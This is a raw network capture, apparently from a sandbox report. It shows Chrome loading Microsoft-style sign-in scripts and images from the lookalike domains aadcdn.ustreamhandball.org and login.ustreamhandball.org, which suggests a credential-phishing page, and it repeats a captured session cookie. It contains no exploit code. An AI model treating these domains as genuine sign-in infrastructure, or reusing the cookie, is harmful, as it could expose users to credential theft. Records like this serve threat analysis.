2025-01-09 23:21:26 UTC	712	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:27 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:27 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:27 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:27 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:27 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:27 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:27 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:27 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 36 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:26 GMT
2025-01-09 23:21:27 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 30 35 41 35 34 37 31 36 35 45 42 42 0d 0a Data Ascii: Etag: 0x8DD05A547165EBB
2025-01-09 23:21:27 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 46 72 69 2c 20 31 35 20 4e 6f 76 20 32 30 32 34 20 31 38 3a 34 32 3a 33 37 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Fri, 15 Nov 2024 18:42:37 GMT
2025-01-09 23:21:27 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49984	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:26 UTC	526	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:27 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:27 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:27 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:27 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:27 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:27 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:27 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/x-javascript
2025-01-09 23:21:27 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 36 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:26 GMT
2025-01-09 23:21:27 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 44 31 35 36 45 45 36 41 38 32 37 35 36 0d 0a Data Ascii: Etag: 0x8DD156EE6A82756
2025-01-09 23:21:27 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 30 35 20 44 65 63 20 32 30 32 34 20 32 30 3a 35 33 3a 34 31 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Thu, 05 Dec 2024 20:53:41 GMT
2025-01-09 23:21:27 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49983	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:26 UTC	760	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:27 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:27 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:27 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:27 UTC	185	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:27 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:27 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:27 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 67 69 66 0d 0a Data Ascii: Content-Type: image/gif
2025-01-09 23:21:27 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 37 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:27 GMT
2025-01-09 23:21:27 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 38 45 43 34 31 35 34 0d 0a Data Ascii: Etag: 0x8DB5C3F48EC4154
2025-01-09 23:21:27 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 37 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:47 GMT
2025-01-09 23:21:27 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49981	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:26 UTC	754	OUT	GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:27 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:27 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:27 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:27 UTC	185	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:27 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:27 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:27 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 67 69 66 0d 0a Data Ascii: Content-Type: image/gif
2025-01-09 23:21:27 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 37 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:27 GMT
2025-01-09 23:21:27 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 39 30 34 38 32 34 42 0d 0a Data Ascii: Etag: 0x8DB5C3F4904824B
2025-01-09 23:21:27 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 38 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:48 GMT
2025-01-09 23:21:27 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49990	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:27 UTC	516	OUT	GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:27 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:27 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:27 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:27 UTC	185	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:27 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:27 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:27 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 67 69 66 0d 0a Data Ascii: Content-Type: image/gif
2025-01-09 23:21:27 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 37 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:27 GMT
2025-01-09 23:21:27 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 38 45 43 34 31 35 34 0d 0a Data Ascii: Etag: 0x8DB5C3F48EC4154
2025-01-09 23:21:27 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 37 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:47 GMT
2025-01-09 23:21:27 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49991	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:27 UTC	754	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:27 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:27 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:27 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:27 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:27 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
2025-01-09 23:21:27 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:28 UTC	29	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 0d 0a Data Ascii: Content-Type: image/svg+xml
2025-01-09 23:21:28 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 32 37 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:27 GMT
2025-01-09 23:21:28 UTC	25	IN	Data Raw: 45 74 61 67 3a 20 30 78 38 44 42 35 43 33 46 34 37 45 32 36 30 46 44 0d 0a Data Ascii: Etag: 0x8DB5C3F47E260FD
2025-01-09 23:21:28 UTC	46	IN	Data Raw: 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 57 65 64 2c 20 32 34 20 4d 61 79 20 32 30 32 33 20 31 30 3a 31 31 3a 34 36 20 47 4d 54 0d 0a Data Ascii: Last-Modified: Wed, 24 May 2023 10:11:46 GMT
2025-01-09 23:21:28 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49993	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:27 UTC	528	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js HTTP/1.1 Host: aadcdn.ustreamhandball.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:28 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:28 UTC	22	IN	Data Raw: 41 63 63 65 70 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d 0a Data Ascii: Accept-Ranges: bytes
2025-01-09 23:21:28 UTC	32	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a Data Ascii: Access-Control-Allow-Origin: *
2025-01-09 23:21:28 UTC	202	IN	Data Raw: 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 45 78 70 6f 73 65 2d 48 65 61 64 65 72 73 3a 20 78 2d 6d 73 2d 72 65 71 75 65 73 74 2d 69 64 2c 53 65 72 76 65 72 2c 78 2d 6d 73 2d 76 65 72 73 69 6f 6e 2c 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 2c 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 2c 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 2c 45 54 61 67 2c 78 2d 6d 73 2d 6c 65 61 73 65 2d 73 74 61 74 75 73 2c 78 2d 6d 73 2d 62 6c 6f 62 2d 74 79 70 65 2c 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 2c 44 61 74 65 2c 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 0d 0a Data Ascii: Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
2025-01-09 23:21:28 UTC	41	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a Data Ascii: Cache-Control: public, max-age=31536000
